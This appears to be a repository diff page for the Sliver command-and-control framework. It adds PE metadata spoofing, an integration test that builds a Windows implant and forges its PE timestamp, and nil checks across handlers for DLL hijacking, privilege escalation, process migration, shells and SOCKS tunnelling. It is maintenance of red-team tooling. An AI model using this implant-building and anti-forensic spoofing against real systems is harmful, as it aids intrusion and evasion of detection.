ResourceDataEntries: imageResourceDataEntriesFromProto(req.GetPE().GetResourceDataEntries()),
|
||||
ExportDirectory: exportDirectory,
|
||||
}
|
||||
}
|
||||
|
||||
if config.PE == nil {
|
||||
return nil, status.Error(codes.InvalidArgument, "spoof metadata has no supported executable format")
|
||||
}
|
||||
return config, nil
|
||||
}
|
||||
|
||||
func spoofMetadataFileFromProto(req *clientpb.SpoofMetadataFile) *generate.SpoofMetadataFile {
|
||||
if req == nil {
|
||||
return nil
|
||||
}
|
||||
return &generate.SpoofMetadataFile{
|
||||
Name: req.GetName(),
|
||||
Data: req.GetData(),
|
||||
}
|
||||
}
|
||||
|
||||
func imageResourceDirectoryFromProto(req *clientpb.IMAGE_RESOURCE_DIRECTORY) (*generate.IMAGE_RESOURCE_DIRECTORY, error) {
|
||||
if req == nil {
|
||||
return nil, nil
|
||||
}
|
||||
major, err := uint16Field("pe.resource_directory.major_version", req.GetMajorVersion())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
minor, err := uint16Field("pe.resource_directory.minor_version", req.GetMinorVersion())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
namedEntries, err := uint16Field("pe.resource_directory.number_of_named_entries", req.GetNumberOfNamedEntries())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
idEntries, err := uint16Field("pe.resource_directory.number_of_id_entries", req.GetNumberOfIdEntries())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &generate.IMAGE_RESOURCE_DIRECTORY{
|
||||
Characteristics: req.GetCharacteristics(),
|
||||
TimeDateStamp: req.GetTimeDateStamp(),
|
||||
MajorVersion: major,
|
||||
MinorVersion: minor,
|
||||
NumberOfNamedEntries: namedEntries,
|
||||
NumberOfIdEntries: idEntries,
|
||||
}, nil
|
||||
}
|
||||
|
||||
func imageResourceDirectoryEntriesFromProto(req []*clientpb.IMAGE_RESOURCE_DIRECTORY_ENTRY) []*generate.IMAGE_RESOURCE_DIRECTORY_ENTRY {
|
||||
if len(req) == 0 {
|
||||
return nil
|
||||
}
|
||||
entries := make([]*generate.IMAGE_RESOURCE_DIRECTORY_ENTRY, 0, len(req))
|
||||
for _, entry := range req {
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, &generate.IMAGE_RESOURCE_DIRECTORY_ENTRY{
|
||||
Name: entry.GetName(),
|
||||
OffsetToData: entry.GetOffsetToData(),
|
||||
})
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func imageResourceDataEntriesFromProto(req []*clientpb.IMAGE_RESOURCE_DATA_ENTRY) []*generate.IMAGE_RESOURCE_DATA_ENTRY {
|
||||
if len(req) == 0 {
|
||||
return nil
|
||||
}
|
||||
entries := make([]*generate.IMAGE_RESOURCE_DATA_ENTRY, 0, len(req))
|
||||
for _, entry := range req {
|
||||
if entry == nil {
|
||||
continue
|
||||
}
|
||||
entries = append(entries, &generate.IMAGE_RESOURCE_DATA_ENTRY{
|
||||
OffsetToData: entry.GetOffsetToData(),
|
||||
Size: entry.GetSize(),
|
||||
CodePage: entry.GetCodePage(),
|
||||
Reserved: entry.GetReserved(),
|
||||
})
|
||||
}
|
||||
return entries
|
||||
}
|
||||
|
||||
func imageExportDirectoryFromProto(req *clientpb.IMAGE_EXPORT_DIRECTORY) (*generate.IMAGE_EXPORT_DIRECTORY, error) {
|
||||
if req == nil {
|
||||
return nil, nil
|
||||
}
|
||||
major, err := uint16Field("pe.export_directory.major_version", req.GetMajorVersion())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
minor, err := uint16Field("pe.export_directory.minor_version", req.GetMinorVersion())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
return &generate.IMAGE_EXPORT_DIRECTORY{
|
||||
Characteristics: req.GetCharacteristics(),
|
||||
TimeDateStamp: req.GetTimeDateStamp(),
|
||||
MajorVersion: major,
|
||||
MinorVersion: minor,
|
||||
Name: req.GetName(),
|
||||
Base: req.GetBase(),
|
||||
NumberOfFunctions: req.GetNumberOfFunctions(),
|
||||
NumberOfNames: req.GetNumberOfNames(),
|
||||
AddressOfFunctions: req.GetAddressOfFunctions(),
|
||||
AddressOfNames: req.GetAddressOfNames(),
|
||||
AddressOfNameOrdinals: req.GetAddressOfNameOrdinals(),
|
||||
}, nil
|
||||
}
|
||||
|
||||
func uint16Field(fieldName string, value uint32) (uint16, error) {
|
||||
if value > 0xffff {
|
||||
return 0, fmt.Errorf("%s value %d exceeds uint16", fieldName, value)
|
||||
}
|
||||
return uint16(value), nil
|
||||
}
|
||||
|
||||
// ImplantBuilds - List existing implant builds
|
||||
func (rpc *Server) ImplantBuilds(ctx context.Context, _ *commonpb.Empty) (*clientpb.ImplantBuilds, error) {
|
||||
builds, err := db.ImplantBuilds()
|
||||
|
||||
@@ -0,0 +1,213 @@
|
||||
package rpc
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/binary"
|
||||
"fmt"
|
||||
"net"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/Binject/debug/pe"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/rpcpb"
|
||||
"github.com/bishopfox/sliver/server/assets"
|
||||
"github.com/bishopfox/sliver/server/certs"
|
||||
"github.com/bishopfox/sliver/server/configs"
|
||||
"github.com/bishopfox/sliver/server/db"
|
||||
generatePkg "github.com/bishopfox/sliver/server/generate"
|
||||
"google.golang.org/grpc"
|
||||
"google.golang.org/grpc/credentials/insecure"
|
||||
"google.golang.org/grpc/test/bufconn"
|
||||
)
|
||||
|
||||
var (
|
||||
spoofGenerateSetupOnce sync.Once
|
||||
spoofGenerateSetupErr error
|
||||
)
|
||||
|
||||
func TestGenerateSpoofMetadataAppliesPETimestampOverBufnet(t *testing.T) {
|
||||
if testing.Short() {
|
||||
t.Skip("skipping generate/spoof integration test in -short mode")
|
||||
}
|
||||
|
||||
setupGenerateSpoofTest(t)
|
||||
|
||||
client, cleanup := newBufnetRPCClient(t)
|
||||
defer cleanup()
|
||||
|
||||
buildName := fmt.Sprintf("rpc-spoof-metadata-%d", time.Now().UnixNano())
|
||||
t.Cleanup(func() {
|
||||
_ = RemoveBuildByName(buildName)
|
||||
_ = os.RemoveAll(filepath.Join(generatePkg.GetSliversDir(), "windows", "amd64", buildName))
|
||||
})
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 10*time.Minute)
|
||||
defer cancel()
|
||||
|
||||
generateResp, err := client.Generate(ctx, &clientpb.GenerateReq{
|
||||
Name: buildName,
|
||||
Config: &clientpb.ImplantConfig{
|
||||
GOOS: "windows",
|
||||
GOARCH: "amd64",
|
||||
Format: clientpb.OutputFormat_EXECUTABLE,
|
||||
Debug: true,
|
||||
ObfuscateSymbols: false,
|
||||
C2: []*clientpb.ImplantC2{
|
||||
{URL: "http://127.0.0.1"},
|
||||
},
|
||||
HTTPC2ConfigName: consts.DefaultC2Profile,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("Generate() error: %v", err)
|
||||
}
|
||||
|
||||
origData := generateResp.GetFile().GetData()
|
||||
if len(origData) == 0 {
|
||||
t.Fatal("Generate() returned empty file data")
|
||||
}
|
||||
origTimestamp, err := peFileTimestamp(origData)
|
||||
if err != nil {
|
||||
t.Fatalf("parse generated PE timestamp: %v", err)
|
||||
}
|
||||
|
||||
// Create a donor PE by modifying only the PE header timestamp.
|
||||
spoofTimestamp := origTimestamp + 1337
|
||||
donorData, err := setPEFileTimestamp(origData, spoofTimestamp)
|
||||
if err != nil {
|
||||
t.Fatalf("set donor PE timestamp: %v", err)
|
||||
}
|
||||
donorTimestamp, err := peFileTimestamp(donorData)
|
||||
if err != nil {
|
||||
t.Fatalf("parse donor PE timestamp: %v", err)
|
||||
}
|
||||
if donorTimestamp != spoofTimestamp {
|
||||
t.Fatalf("donor timestamp mismatch: got=%d want=%d", donorTimestamp, spoofTimestamp)
|
||||
}
|
||||
|
||||
spoofReq := &clientpb.GenerateSpoofMetadataReq{
|
||||
ImplantBuildID: generateResp.GetImplantBuildID(),
|
||||
SpoofMetadata: &clientpb.SpoofMetadataConfig{
|
||||
PE: &clientpb.PESpoofMetadataConfig{
|
||||
Source: &clientpb.SpoofMetadataFile{
|
||||
Name: "donor.exe",
|
||||
Data: donorData,
|
||||
},
|
||||
},
|
||||
},
|
||||
}
|
||||
if spoofReq.GetImplantBuildID() == "" {
|
||||
t.Fatal("Generate() returned empty ImplantBuildID")
|
||||
}
|
||||
|
||||
if _, err := client.GenerateSpoofMetadata(ctx, spoofReq); err != nil {
|
||||
t.Fatalf("GenerateSpoofMetadata() error: %v", err)
|
||||
}
|
||||
|
||||
regenerated, err := client.Regenerate(ctx, &clientpb.RegenerateReq{ImplantName: buildName})
|
||||
if err != nil {
|
||||
t.Fatalf("Regenerate() error: %v", err)
|
||||
}
|
||||
modifiedData := regenerated.GetFile().GetData()
|
||||
if len(modifiedData) == 0 {
|
||||
t.Fatal("Regenerate() returned empty file data")
|
||||
}
|
||||
|
||||
modifiedTimestamp, err := peFileTimestamp(modifiedData)
|
||||
if err != nil {
|
||||
t.Fatalf("parse modified PE timestamp: %v", err)
|
||||
}
|
||||
if modifiedTimestamp != spoofTimestamp {
|
||||
t.Fatalf("spoofed PE timestamp mismatch: got=%d want=%d", modifiedTimestamp, spoofTimestamp)
|
||||
}
|
||||
if modifiedTimestamp == origTimestamp {
|
||||
t.Fatalf("expected PE timestamp to change from %d", origTimestamp)
|
||||
}
|
||||
}
|
||||
|
||||
func setupGenerateSpoofTest(t *testing.T) {
|
||||
t.Helper()
|
||||
spoofGenerateSetupOnce.Do(func() {
|
||||
assets.Setup(false, false)
|
||||
certs.SetupCAs()
|
||||
_, err := db.LoadHTTPC2ConfigByName(consts.DefaultC2Profile)
|
||||
if err == nil {
|
||||
return
|
||||
}
|
||||
spoofGenerateSetupErr = db.SaveHTTPC2Config(configs.GenerateDefaultHTTPC2Config())
|
||||
})
|
||||
if spoofGenerateSetupErr != nil {
|
||||
t.Fatalf("setup generate/spoof test prerequisites: %v", spoofGenerateSetupErr)
|
||||
}
|
||||
}
|
||||
|
||||
func newBufnetRPCClient(t *testing.T) (rpcpb.SliverRPCClient, func()) {
|
||||
t.Helper()
|
||||
|
||||
ln := bufconn.Listen(2 * 1024 * 1024)
|
||||
grpcServer := grpc.NewServer(
|
||||
grpc.MaxRecvMsgSize(64<<20),
|
||||
grpc.MaxSendMsgSize(64<<20),
|
||||
)
|
||||
rpcpb.RegisterSliverRPCServer(grpcServer, &Server{})
|
||||
|
||||
go func() {
|
||||
_ = grpcServer.Serve(ln)
|
||||
}()
|
||||
|
||||
ctx, cancel := context.WithTimeout(context.Background(), 15*time.Second)
|
||||
conn, err := dialBufConn(ctx, ln)
|
||||
cancel()
|
||||
if err != nil {
|
||||
grpcServer.Stop()
|
||||
_ = ln.Close()
|
||||
t.Fatalf("dial grpc/bufconn: %v", err)
|
||||
}
|
||||
|
||||
cleanup := func() {
|
||||
_ = conn.Close()
|
||||
grpcServer.Stop()
|
||||
_ = ln.Close()
|
||||
}
|
||||
return rpcpb.NewSliverRPCClient(conn), cleanup
|
||||
}
|
||||
|
||||
func dialBufConn(ctx context.Context, ln *bufconn.Listener) (*grpc.ClientConn, error) {
|
||||
dialer := func(context.Context, string) (net.Conn, error) { return ln.Dial() }
|
||||
return grpc.DialContext(ctx, "bufnet",
|
||||
grpc.WithContextDialer(dialer),
|
||||
grpc.WithTransportCredentials(insecure.NewCredentials()),
|
||||
grpc.WithDefaultCallOptions(
|
||||
grpc.MaxCallRecvMsgSize(64<<20),
|
||||
grpc.MaxCallSendMsgSize(64<<20),
|
||||
),
|
||||
)
|
||||
}
|
||||
|
||||
func peFileTimestamp(data []byte) (uint32, error) {
|
||||
peFile, err := pe.NewFile(bytes.NewReader(data))
|
||||
if err != nil {
|
||||
return 0, err
|
||||
}
|
||||
defer peFile.Close()
|
||||
return peFile.FileHeader.TimeDateStamp, nil
|
||||
}
|
||||
|
||||
func setPEFileTimestamp(data []byte, timestamp uint32) ([]byte, error) {
|
||||
if len(data) < 0x40 {
|
||||
return nil, fmt.Errorf("invalid PE data length: %d", len(data))
|
||||
}
|
||||
cloned := append([]byte(nil), data...)
|
||||
peHeaderOffset := int(binary.LittleEndian.Uint32(cloned[0x3c:0x40]))
|
||||
if peHeaderOffset < 0 || peHeaderOffset+12 > len(cloned) {
|
||||
return nil, fmt.Errorf("invalid PE header offset: %d", peHeaderOffset)
|
||||
}
|
||||
binary.LittleEndian.PutUint32(cloned[peHeaderOffset+8:peHeaderOffset+12], timestamp)
|
||||
return cloned, nil
|
||||
}
|
||||
@@ -52,6 +52,9 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
|
||||
resp := &clientpb.DllHijack{
|
||||
Response: &commonpb.Response{},
|
||||
}
|
||||
if req == nil || req.Request == nil {
|
||||
return resp, ErrMissingRequestField
|
||||
}
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return resp, ErrInvalidSessionID
|
||||
|
||||
@@ -80,8 +80,9 @@ func (rpc *Server) RestartJobs(ctx context.Context, restartJobReq *clientpb.Rest
|
||||
if err != nil {
|
||||
return &commonpb.Empty{}, rpcError(err)
|
||||
}
|
||||
listenerJob.JobID = uint32(job.ID)
|
||||
db.UpdateHTTPC2Listener(listenerJob)
|
||||
if err := db.UpdateListenerJobID(jobID, uint32(job.ID)); err != nil {
|
||||
return &commonpb.Empty{}, rpcError(err)
|
||||
}
|
||||
}
|
||||
return &commonpb.Empty{}, nil
|
||||
}
|
||||
|
||||
@@ -37,6 +37,11 @@ func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.
|
||||
beacon *models.Beacon
|
||||
err error
|
||||
)
|
||||
|
||||
if kill == nil || kill.Request == nil {
|
||||
return &commonpb.Empty{}, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(kill.Request.SessionID)
|
||||
if session == nil {
|
||||
beacon, err = db.BeaconByID(kill.Request.BeaconID)
|
||||
|
||||
@@ -38,6 +38,11 @@ var (
|
||||
func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Task, error) {
|
||||
var os string
|
||||
var arch string
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -90,6 +95,11 @@ func (rpc *Server) Msf(ctx context.Context, req *clientpb.MSFReq) (*sliverpb.Tas
|
||||
func (rpc *Server) MsfRemote(ctx context.Context, req *clientpb.MSFRemoteReq) (*sliverpb.Task, error) {
|
||||
var os string
|
||||
var arch string
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
|
||||
@@ -28,6 +28,10 @@ import (
|
||||
|
||||
// Portfwd - Open an in-band port forward
|
||||
func (s *Server) Portfwd(ctx context.Context, req *sliverpb.PortfwdReq) (*sliverpb.Portfwd, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
|
||||
@@ -83,6 +83,10 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
|
||||
name string
|
||||
)
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
@@ -159,6 +163,10 @@ func (rpc *Server) MakeToken(ctx context.Context, req *sliverpb.MakeTokenReq) (*
|
||||
|
||||
// GetPrivs - gRPC interface to get privilege information from the current process
|
||||
func (rpc *Server) GetPrivs(ctx context.Context, req *sliverpb.GetPrivsReq) (*sliverpb.GetPrivs, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
sessionID := req.Request.SessionID
|
||||
|
||||
resp := &sliverpb.GetPrivs{Response: &commonpb.Response{}}
|
||||
|
||||
@@ -33,6 +33,10 @@ const maxNameLength = 32
|
||||
|
||||
// Reconfigure - Reconfigure a beacon/session
|
||||
func (rpc *Server) Reconfigure(ctx context.Context, req *sliverpb.ReconfigureReq) (*sliverpb.Reconfigure, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
// We have to preserve these because GenericHandler clears them in req.Request
|
||||
sessionID := req.Request.SessionID
|
||||
beaconID := req.Request.BeaconID
|
||||
|
||||
@@ -38,6 +38,10 @@ func (rpc *Server) GetRportFwdListeners(ctx context.Context, req *sliverpb.Rport
|
||||
|
||||
// StartRportfwdListener - Instruct the implant to start a reverse port forward
|
||||
func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStartListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
@@ -55,6 +59,10 @@ func (rpc *Server) StartRportFwdListener(ctx context.Context, req *sliverpb.Rpor
|
||||
|
||||
// StopRportfwdListener - Instruct the implant to stop a reverse port forward
|
||||
func (rpc *Server) StopRportFwdListener(ctx context.Context, req *sliverpb.RportFwdStopListenerReq) (*sliverpb.RportFwdListener, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
resp := &sliverpb.RportFwdListener{Response: &commonpb.Response{}}
|
||||
err := rpc.GenericHandler(req, resp)
|
||||
if err != nil {
|
||||
|
||||
@@ -49,6 +49,10 @@ func (rpc *Server) GetSessions(ctx context.Context, _ *commonpb.Empty) (*clientp
|
||||
|
||||
// KillSession - Kill a session
|
||||
func (rpc *Server) KillSession(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
|
||||
if kill == nil || kill.Request == nil {
|
||||
return &commonpb.Empty{}, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(kill.Request.SessionID)
|
||||
if session == nil {
|
||||
return &commonpb.Empty{}, ErrInvalidSessionID
|
||||
@@ -75,6 +79,10 @@ func (rpc *Server) OpenSession(ctx context.Context, openSession *sliverpb.OpenSe
|
||||
|
||||
// CloseSession - Close an interactive session, but do not kill the remote process
|
||||
func (rpc *Server) CloseSession(ctx context.Context, closeSession *sliverpb.CloseSession) (*commonpb.Empty, error) {
|
||||
if closeSession == nil || closeSession.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(closeSession.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
|
||||
@@ -36,6 +36,10 @@ var (
|
||||
|
||||
// Shell - Open an interactive shell
|
||||
func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb.Shell, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
@@ -62,6 +66,10 @@ func (rpc *Server) Shell(ctx context.Context, req *sliverpb.ShellReq) (*sliverpb
|
||||
|
||||
// ShellResize - Resize a shell PTY (best effort)
|
||||
func (rpc *Server) ShellResize(ctx context.Context, req *sliverpb.ShellResizeReq) (*commonpb.Empty, error) {
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
return nil, ErrInvalidSessionID
|
||||
|
||||
@@ -155,6 +155,13 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
|
||||
rpcLog.Warnf("Error on stream recv %s", err)
|
||||
return rpcError(err)
|
||||
}
|
||||
if fromClient == nil {
|
||||
continue
|
||||
}
|
||||
if fromClient.Request == nil {
|
||||
rpcLog.Warnf("Ignoring SOCKS frame with missing request metadata for tunnel %d", fromClient.TunnelID)
|
||||
continue
|
||||
}
|
||||
|
||||
tunnelMutex.Lock()
|
||||
activeTunnels[fromClient.TunnelID] = true // Mark this as an active tunnel
|
||||
@@ -348,6 +355,10 @@ func (s *Server) SocksProxy(stream rpcpb.SliverRPC_SocksProxyServer) error {
|
||||
if !ok {
|
||||
break
|
||||
}
|
||||
if fromClient.Request == nil {
|
||||
rpcLog.Error("Missing request metadata for SOCKS tunnel")
|
||||
break
|
||||
}
|
||||
|
||||
session := core.Sessions.Get(fromClient.Request.SessionID)
|
||||
if session == nil {
|
||||
|
||||
@@ -67,6 +67,10 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
|
||||
var dbBeacon *models.Beacon
|
||||
var err error
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async { // is this a session?
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -197,6 +201,11 @@ func (rpc *Server) ExecuteAssembly(ctx context.Context, req *sliverpb.ExecuteAss
|
||||
var beacon *clientpb.Beacon
|
||||
var dbBeacon *models.Beacon
|
||||
var err error
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -267,6 +276,11 @@ func (rpc *Server) Sideload(ctx context.Context, req *sliverpb.SideloadReq) (*sl
|
||||
err error
|
||||
arch string
|
||||
)
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
@@ -315,6 +329,11 @@ func (rpc *Server) SpawnDll(ctx context.Context, req *sliverpb.InvokeSpawnDllReq
|
||||
var beacon *clientpb.Beacon
|
||||
var dbBeacon *models.Beacon
|
||||
var err error
|
||||
|
||||
if req == nil || req.Request == nil {
|
||||
return nil, ErrMissingRequestField
|
||||
}
|
||||
|
||||
if !req.Request.Async {
|
||||
session = core.Sessions.Get(req.Request.SessionID)
|
||||
if session == nil {
|
||||
|
||||
@@ -1,9 +1,9 @@
|
||||
package assets
|
||||
|
||||
const (
|
||||
goVersion = "1.25.6"
|
||||
goVersion = "1.25.7"
|
||||
garbleVersion = "1.25.7"
|
||||
zigVersion = "0.15.2"
|
||||
garbleVersion = "1.25.6"
|
||||
zigSourceParam = "source=sliver"
|
||||
|
||||
zigMinisignPublicKey = "RWSGOq2NVecA2UPNdBUZykf1CCb147pkmdtYxgb3Ti+JO/wCYvhbAb/U"
|
||||
|
||||
@@ -0,0 +1 @@
|
||||
*.golden -text
|
||||
@@ -0,0 +1,23 @@
|
||||
.DS_Store
|
||||
.envrc
|
||||
|
||||
examples/fullscreen/fullscreen
|
||||
examples/help/help
|
||||
examples/http/http
|
||||
examples/list-default/list-default
|
||||
examples/list-fancy/list-fancy
|
||||
examples/list-simple/list-simple
|
||||
examples/mouse/mouse
|
||||
examples/pager/pager
|
||||
examples/progress-download/color_vortex.blend
|
||||
examples/progress-download/progress-download
|
||||
examples/simple/simple
|
||||
examples/spinner/spinner
|
||||
examples/textinput/textinput
|
||||
examples/textinputs/textinputs
|
||||
examples/views/views
|
||||
tutorials/basics/basics
|
||||
tutorials/commands/commands
|
||||
.idea
|
||||
coverage.txt
|
||||
dist/
|
||||
+44
@@ -0,0 +1,44 @@
|
||||
version: "2"
|
||||
run:
|
||||
tests: false
|
||||
linters:
|
||||
enable:
|
||||
- bodyclose
|
||||
- exhaustive
|
||||
- goconst
|
||||
- godot
|
||||
- gomoddirectives
|
||||
- goprintffuncname
|
||||
- gosec
|
||||
- misspell
|
||||
- nakedret
|
||||
- nestif
|
||||
- nilerr
|
||||
- noctx
|
||||
- nolintlint
|
||||
- prealloc
|
||||
- revive
|
||||
- rowserrcheck
|
||||
- sqlclosecheck
|
||||
- tparallel
|
||||
- unconvert
|
||||
- unparam
|
||||
- whitespace
|
||||
- wrapcheck
|
||||
exclusions:
|
||||
rules:
|
||||
- text: '(slog|log)\.\w+'
|
||||
linters:
|
||||
- noctx
|
||||
generated: lax
|
||||
presets:
|
||||
- common-false-positives
|
||||
issues:
|
||||
max-issues-per-linter: 0
|
||||
max-same-issues: 0
|
||||
formatters:
|
||||
enable:
|
||||
- gofumpt
|
||||
- goimports
|
||||
exclusions:
|
||||
generated: lax
|
||||
@@ -0,0 +1,5 @@
|
||||
# yaml-language-server: $schema=https://goreleaser.com/static/schema-pro.json
|
||||
version: 2
|
||||
includes:
|
||||
- from_url:
|
||||
url: charmbracelet/meta/main/goreleaser-lib.yaml
|
||||
Loaded 100 of 342 files, more files were not shown because too many files have changed in this diff.
Show more
Reference in new issue
Block a user